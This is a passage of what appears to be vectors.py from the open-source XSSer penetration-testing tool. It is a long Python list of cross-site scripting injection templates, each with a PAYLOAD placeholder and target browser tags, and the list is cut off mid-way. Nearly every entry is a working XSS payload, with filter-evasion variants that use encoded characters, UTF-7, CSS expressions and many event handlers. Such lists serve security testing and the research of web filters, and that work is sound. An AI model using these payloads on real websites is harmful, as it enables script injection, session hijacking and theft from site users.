vectors.py 169 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. ## This file contains different XSS fuzzing vectors.
  19. ## If you have some new, please email me to [epsylon@riseup.net]
  20. ## Happy Cross Hacking! ;)
  21. vectors = [ { 'payload':'''">PAYLOAD''',
  22. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  23. { 'payload':""""><SCRIPT>alert('PAYLOAD')</SCRIPT>""",
  24. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  25. { 'payload':"""</TITLE>PAYLOAD""",
  26. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  27. { 'payload':""""><img src="x:x" onerror="PAYLOAD">""",
  28. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  29. { 'payload':"""<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>""",
  30. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  31. { 'payload':"""'';!--"<PAYLOAD>=&{()}" """,
  32. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  33. { 'payload':"""<IMG SRC="PAYLOAD">""",
  34. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  35. { 'payload':"""<IMG SRC=PAYLOAD>""",
  36. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  37. { 'payload':"""<IMG SRC=`PAYLOAD`>""",
  38. 'browser':"""[IE6.0|NS8.1-IE]"""},
  39. { 'payload':"""<IMG '''>PAYLOAD'>""",
  40. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  41. { 'payload':"""<IMG SRC=" &#14; PAYLOAD">""",
  42. 'browser':"""[IE6.0|NS8.1-IE]"""},
  43. { 'payload':"""<DIV STYLE="behaviour: url(PAYLOAD);">""",
  44. 'browser':"""[IE6.0|NS8.1-IE]"""},
  45. { 'payload':"""<<SCRIPT>PAYLOAD//<</SCRIPT>""",
  46. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  47. { 'payload':"""\";PAYLOAD//""",
  48. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  49. { 'payload':"""<IMG SRC='PAYLOAD'""",
  50. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  51. { 'payload':"""<BODY BACKGROUND="PAYLOAD">""",
  52. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  53. { 'payload':"""<INPUT TYPE="IMAGE" SRC="PAYLOAD">""",
  54. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  55. { 'payload':"""<BODY ONLOAD=PAYLOAD>""",
  56. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  57. { 'payload':"""<IMG DYNSRC="PAYLOAD">""",
  58. 'browser':"""[IE6.0|NS8.1-IE]"""},
  59. { 'payload':"""<IMG LOWSRC="PAYLOAD">""",
  60. 'browser':"""[IE6.0|NS8.1-IE]"""},
  61. { 'payload':"""<BGSOUND SRC="PAYLOAD">""",
  62. 'browser':"""[O9.02]"""},
  63. { 'payload':"""<BR SIZE="&{PAYLOAD}">""",
  64. 'browser':"""[NS4]"""},
  65. { 'payload':"""<LINK REL="stylesheet" HREF="PAYLOAD">""",
  66. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  67. { 'payload':"""<IMG SRC='vbscript:PAYLOAD'>""",
  68. 'browser':"""[IE6.0|NS8.1-IE]"""},
  69. { 'payload':"""<IMG SRC="mocha:[PAYLOAD]">""",
  70. 'browser':"""[NS4]"""},
  71. { 'payload':"""<IMG SRC="livescript:[PAYLOAD]">""",
  72. 'browser':"""[NS4]"""},
  73. { 'payload':"""<META HTTP-EQUIV="refresh" CONTENT="0;url=PAYLOAD">""",
  74. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  75. { 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
  76. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  77. { 'payload':"""<TABLE BACKGROUND=javascript:PAYLOAD>""",
  78. 'browser':"""[O9.02]"""},
  79. { 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
  80. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  81. { 'payload':"""<DIV STYLE="background-image: url(PAYLOAD);">""",
  82. 'browser':"""[IE6.0|NS8.1-IE]"""},
  83. { 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
  84. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  85. { 'payload':"""<IFRAME SRC="PAYLOAD"></IFRAME>""",
  86. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  87. { 'payload':"""<iframe/ /onload=PAYLOAD></iframe>""",
  88. 'browser':"""Not Info"""},
  89. { 'payload':"""<iframe/ "onload=PAYLOAD></iframe>""",
  90. 'browser':"""Not Info"""},
  91. { 'payload':"""<iframe///////onload=PAYLOAD></iframe>""",
  92. 'browser':"""Not Info"""},
  93. { 'payload':"""<iframe "onload=PAYLOAD></iframe>""",
  94. 'browser':"""Not Info"""},
  95. { 'payload':"""<iframe<?php echo chr(11)?> onload=PAYLOAD></iframe>""",
  96. 'browser':"""Not Info"""},
  97. { 'payload':"""<iframe<?php echo chr(12)?> onload=PAYLOAD></iframe>""",
  98. 'browser':"""Not Info"""},
  99. { 'payload':"""<FRAMESET><FRAME SRC="PAYLOAD"></FRAMESET>""",
  100. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  101. { 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
  102. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  103. { 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
  104. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  105. { 'payload':"""<DIV STYLE="background-image: url(&#1;PAYLOAD)">""",
  106. 'browser':"""[IE6.0|NS8.1-IE]"""},
  107. { 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
  108. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  109. { 'payload':"""<IMG STYLE="X:expr/*X*/ession(PAYLOAD)">""",
  110. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  111. { 'payload':"""<X STYLE="X:expression(PAYLOAD)">""",
  112. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  113. { 'payload':"""<STYLE TYPE="text/javascript">PAYLOAD</STYLE>""",
  114. 'browser':"""[NS4]"""},
  115. { 'payload':"""<STYLE>.X{background-image:url("PAYLOAD");}</STYLE><A CLASS=X></A>""",
  116. 'browser':"""[IE6.0|NS8.1-IE]"""},
  117. { 'payload':"""<STYLE type="text/css">BODY{background:url("PAYLOAD")}</STYLE>""",
  118. 'browser':"""[IE6.0|NS8.1-IE]"""},
  119. { 'payload':"""<!--[if gte IE 4]>PAYLOAD<![endif]-->""",
  120. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  121. { 'payload':"""<BASE HREF="PAYLOAD//">""",
  122. 'browser':"""[IE6.0|NS8.1-IE]"""},
  123. { 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=PAYLOAD></OBJECT>""",
  124. 'browser':"""[O9.02]"""},
  125. { 'payload':"""a="get";b="URL(\"";c="javascript:";d="PAYLOAD\")";eval(a+b+c+d);""",
  126. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  127. { 'payload':"""<? echo('<SCR)';echo('IPT>PAYLOAD</SCRIPT>'); ?>""",
  128. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  129. { 'payload':"""<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;PAYLOAD&lt;/SCRIPT&gt;">""",
  130. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  131. { 'payload':"""<SCRIPT SRC=http://127.0.0.1>PAYLOAD</SCRIPT>""",
  132. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  133. { 'payload':"""<IMG SRC="&14;javascript:PAYLOAD">""",
  134. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  135. { 'payload':"""<IMG SRC="jav&#x0D;ascript:PAYLOAD">""",
  136. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  137. { 'payload':"""--- <IMG SRC=" &#14; PAYLOAD">""",
  138. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  139. { 'payload':'''--- <IMG SRC="PAYLOAD"''',
  140. 'browser':"""[IE6.0|NS8.1-IE] [09.02]"""},
  141. { 'payload':"""<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>""",
  142. 'browser':"""[Not Info]"""},
  143. { 'payload':'''--- \";PAYLOAD;//''',
  144. 'browser':"""[Not Info]"""},
  145. { 'payload':'''<META HTTP-EQUIVo"refresh" CONTENT="0; URL=http://;URL=PAYLOAD">''',
  146. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  147. { 'payload':"""<SCRIPT <B>=PAYLOAD"></SCRIPT>""",
  148. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  149. { 'payload':"""<IFRAME SRC="javascript:PAYLOAD <""",
  150. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  151. { 'payload':"""<SCRIPT>a=/X/nPAYLOAD</SCRIPT>""",
  152. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  153. { 'payload':"""<LAYER SRC="javascript:PAYLOAD></LAYER>""",
  154. 'browser':"""[NS4]"""},
  155. { 'payload':"""<STYLE>li {list-style-image: url("PAYLOAD</STYLE><UL><LI>X""",
  156. 'browser':"""[IE6.0|NS8.1-IE]"""},
  157. { 'payload':"""<DIV STYLE="background-image: url(&#1;javascript:PAYLOAD">""",
  158. 'browser':"""[IE6.0|NS8.1-IE]"""},
  159. { 'payload':"""<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-PAYLOAD+ADw-/SCRIPT+AD4-""",
  160. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  161. { 'payload':"""<a href="javascript#PAYLOAD">""",
  162. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  163. { 'payload':"""<input type="image" dynsrc="PAYLOAD">""",
  164. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  165. { 'payload':"""&PAYLOAD">""",
  166. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  167. { 'payload':"""&{PAYLOAD};""",
  168. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  169. { 'payload':"""<IMG SRC=&{PAYLOAD};>""",
  170. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  171. { 'payload':"""<a href="about:PAYLOAD">""",
  172. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  173. { 'payload':"""<DIV STYLE="binding: url(javascript:PAYLOAD);">""",
  174. 'browser':"""[IE6.0|NS8.1-IE]"""},
  175. { 'payload':"""<OBJECT classid=clsid:..." codebase="javascript:PAYLOAD">""",
  176. 'browser':"""[O9.02]"""},
  177. { 'payload':"""<style><!--</style><SCRIPT>PAYLOAD//--></SCRIPT>""",
  178. 'browser':"""[IE6.0|NS8.1-IE]"""},
  179. { 'payload':"""![CDATA[<!--]]<SCRIPT>PAYLOAD//--></SCRIPT>""",
  180. 'browser':"""[IE6.0|NS8.1-IE]"""},
  181. { 'payload':"""<!-- -- -->PAYLOAD<!-- -- -->""",
  182. 'browser':"""[Not Info]"""},
  183. { 'payload':'''<xml id="X"><a><b>PAYLOAD;<b></a></xml>''',
  184. 'browser':"""[IE6.0|NS8.1-IE]"""},
  185. { 'payload':'''<div datafld="b" dataformatas="html" datasrc="#PAYLOAD"></div>''',
  186. 'browser':"""[IE]"""},
  187. { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:PAYLOAD">]]</C><X></xml>''',
  188. 'browser':"""[IE6.0|NS8.1-IE]"""},
  189. { 'payload':"""<script psy>/*<script* */alert(PAYLOAD)</script""",
  190. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  191. { 'payload':'''<img src=1 href=1 onerror="PAYLOAD"></img>''',
  192. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  193. { 'payload':'''<audio src=1 href=1 onerror="PAYLOAD"></audio>''',
  194. 'browser':"""[HTML5 Injection]"""},
  195. { 'payload':'''<video src=1 href=1 onerror="PAYLOAD"></video>''',
  196. 'browser':"""[HTML5 Injection]"""},
  197. { 'payload':'''<body src=1 href=1 onerror="PAYLOAD"></body>''',
  198. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  199. { 'payload':'''<image src=1 href=1 onerror="PAYLOAD"></image>''',
  200. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  201. { 'payload':'''<object src=1 href=1 onerror="PAYLOAD"></object>''',
  202. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  203. { 'payload':'''<script src=1 href=1 onerror="PAYLOAD"></script>''',
  204. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  205. { 'payload':'''<svg onResize svg onResize="javascript:PAYLOAD"></svg onResize>''',
  206. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  207. { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:PAYLOAD"></title onPropertyChange>''',
  208. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  209. { 'payload':'''<iframe onLoad iframe onLoad="javascript:PAYLOAD"></iframe onLoad>''',
  210. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  211. { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:PAYLOAD"></body onMouseEnter>''',
  212. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  213. { 'payload':'''<body onFocus body onFocus="javascript:PAYLOAD"></body onFocus>''',
  214. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  215. { 'payload':'''<frameset onScroll frameset onScroll="javascript:PAYLOAD"></frameset onScroll>''',
  216. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  217. { 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:PAYLOAD"></script onReadyStateChange>''',
  218. 'browser':"""[IE] [Chrome]"""},
  219. { 'payload':'''<html onMouseUp html onMouseUp="javascript:PAYLOAD"></html onMouseUp>''',
  220. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  221. { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:PAYLOAD"></body onPropertyChange>''',
  222. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  223. { 'payload':'''<svg onLoad svg onLoad="javascript:PAYLOAD"></svg onLoad>''',
  224. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  225. { 'payload':'''<body onPageHide body onPageHide="javascript:PAYLOAD"></body onPageHide>''',
  226. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  227. { 'payload':'''<body onMouseOver body onMouseOver="javascript:PAYLOAD"></body onMouseOver>''',
  228. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  229. { 'payload':'''<body onUnload body onUnload="javascript:PAYLOAD"></body onUnload>''',
  230. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  231. { 'payload':'''<body onLoad body onLoad="javascript:PAYLOAD"></body onLoad>''',
  232. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  233. { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:PAYLOAD"></bgsound onPropertyChange>''',
  234. 'browser':"""[HTML5 Injection]"""},
  235. { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:PAYLOAD"></html onMouseLeave>''',
  236. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  237. { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:PAYLOAD"></html onMouseWheel>''',
  238. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  239. { 'payload':'''<style onLoad style onLoad="javascript:PAYLOAD"></style onLoad>''',
  240. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  241. { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:PAYLOAD"></iframe onReadyStateChange>''',
  242. 'browser':"""[IE] [Chrome]"""},
  243. { 'payload':'''<body onPageShow body onPageShow="javascript:PAYLOAD"></body onPageShow>''',
  244. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  245. { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:PAYLOAD"></style onReadyStateChange>''',
  246. 'browser':"""[IE] [Chrome]"""},
  247. { 'payload':'''<frameset onFocus frameset onFocus="javascript:PAYLOAD"></frameset onFocus>''',
  248. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  249. { 'payload':'''<applet onError applet onError="javascript:PAYLOAD"></applet onError>''',
  250. 'browser':"""[HTML5 Injection]"""},
  251. { 'payload':'''<marquee onStart marquee onStart="javascript:PAYLOAD"></marquee onStart>''',
  252. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  253. { 'payload':'''<script onLoad script onLoad="javascript:PAYLOAD"></script onLoad>''',
  254. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  255. { 'payload':'''<html onMouseOver html onMouseOver="javascript:PAYLOAD"></html onMouseOver>''',
  256. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  257. { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.PAYLOAD"></html onMouseEnter>''',
  258. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  259. { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:PAYLOAD"></body onBeforeUnload>''',
  260. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  261. { 'payload':'''<html onMouseDown html onMouseDown="javascript:PAYLOAD"></html onMouseDown>''',
  262. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  263. { 'payload':'''<marquee onScroll marquee onScroll="javascript:PAYLOAD"></marquee onScroll>''',
  264. 'browser':"""[Not Info]"""},
  265. { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:PAYLOAD"></xml onPropertyChange>''',
  266. 'browser':"""[Not Info]"""},
  267. { 'payload':'''<frameset onBlur frameset onBlur="javascript:PAYLOAD"></frameset onBlur>''',
  268. 'browser':"""[Not Info]"""},
  269. { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:PAYLOAD"></applet onReadyStateChange>''',
  270. 'browser':"""[IE] [Chrome]"""},
  271. { 'payload':'''<svg onUnload svg onUnload="javascript:PAYLOAD"></svg onUnload>''',
  272. 'browser':"""[Not Info]"""},
  273. { 'payload':'''<html onMouseOut html onMouseOut="javascript:PAYLOAD"></html onMouseOut>''',
  274. 'browser':"""[Not Info]"""},
  275. { 'payload':'''<body onMouseMove body onMouseMove="javascript:PAYLOAD"></body onMouseMove>''',
  276. 'browser':"""[Not Info]"""},
  277. { 'payload':'''<body onResize body onResize="javascript:PAYLOAD"></body onResize>''',
  278. 'browser':"""[Not Info]"""},
  279. { 'payload':'''<object onError object onError="javascript:PAYLOAD"></object onError>''',
  280. 'browser':"""[Not Info]"""},
  281. { 'payload':'''<body onPopState body onPopState="javascript:PAYLOAD"></body onPopState>''',
  282. 'browser':"""[Not Info]"""},
  283. { 'payload':'''<html onMouseMove html onMouseMove="javascript:PAYLOAD"></html onMouseMove>''',
  284. 'browser':"""[Not Info]"""},
  285. { 'payload':'''<applet onerror applet onerror="javascript:PAYLOAD"></applet onerror>''',
  286. 'browser':"""[Not Info]"""},
  287. { 'payload':'''<body onkeyup body onkeyup="javascript:PAYLOAD"></body onkeyup>''',
